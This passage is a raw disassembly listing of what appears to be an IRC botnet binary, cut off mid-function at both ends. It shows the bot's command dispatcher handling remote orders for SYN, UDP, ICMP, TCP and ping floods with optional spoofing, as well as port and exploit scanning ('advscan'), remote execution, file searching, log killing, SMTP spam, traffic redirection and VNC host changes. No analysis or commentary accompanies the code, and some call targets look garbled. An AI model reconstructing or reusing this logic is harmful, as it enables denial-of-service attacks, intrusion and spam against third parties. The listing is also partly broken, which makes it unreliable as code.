--------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+arg_0] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi push offset aPause ; "pause" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+arg_0] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi push offset aContinue ; "continue" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+arg_0] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+arg_0] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_1 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi push offset aShare ; "share" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B2FC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2DC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi push offset aUser ; "user" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx push eax push 2 loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2BC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B29C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi push offset aSend ; "send" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B270 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B254 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aAa ; "aa" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset aAction ; "action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aA ; "a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aCy ; "cy" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aM ; "m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aT3 ; "t3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aRp ; "rp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aDe ; "de" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aE ; "e" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aFf ; "ff" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aRename ; "rename" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aMv ; "mv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F75 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aC ; "c" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset word_41525A push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h nop call near ptr 2680000h jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j nop call near ptr 2680880h push eax push offset unk_42B0E0 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSyn ; "syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset dword_42B098 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset word_4141B2 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h nop call near ptr 2680000h jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j nop call near ptr 2680880h push eax push offset dword_42B05C jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aRd ; "rd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aScan ; "scan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aSc ; "sc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F75 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aAd ; "ad" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aUdp ; "udp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aU ; "u" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aNs ; "ns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aP ; "p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+var_2C4] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aEmail ; "email" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi push eax call sub_41C890 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C890 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C890 push offset asc_42CDC0 ; " " push offset dword_42B934 push [ebp+esi+var_7C] call sub_41843B push eax lea eax, [ebp+var_408C] push eax call sub_41C890 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB944 lea eax, [ebp+var_46F0] push eax call dword_4CBA58 push 6 push 1 push 2 mov edi, eax call dword_4CBA54 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9D4 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C266 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB97C mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC lea eax, [ebp+var_448C] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA24 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC push esi call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_458C] push eax push offset unk_42AEFC loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+arg_24] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41C159 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41CA50 add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+arg_10] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] push esi push eax call sub_41C360 push [ebp+arg_0] call sub_41C159 mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE70 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset byte_4149C1 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h nop call near ptr 2680000h jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j nop call near ptr 2680880h push eax push offset unk_42AE38 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset unk_42AE00 loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAC4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41C159 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADB8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset dword_413E10 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h nop call near ptr 2680000h jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej nop call near ptr 2680880h push eax push offset unk_42AD80 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BFD0 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_18] mov edi, eax call sub_41B9C0 push [ebp+arg_20] add edi, eax call sub_41B9C0 push [ebp+arg_8] add edi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C2E0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41C159 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx push [ebp+var_4] push offset unk_42ACF4 loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC8C jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: ___:004330E0o ; ___:004330F4o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41C159 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi call sub_41C159 pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BFD0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC44 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset dword_413F9C push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h nop call near ptr 2680000h jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj call near ptr 2680880h nop push eax push offset unk_42AC0C loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41C159 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407208: ; CODE XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, 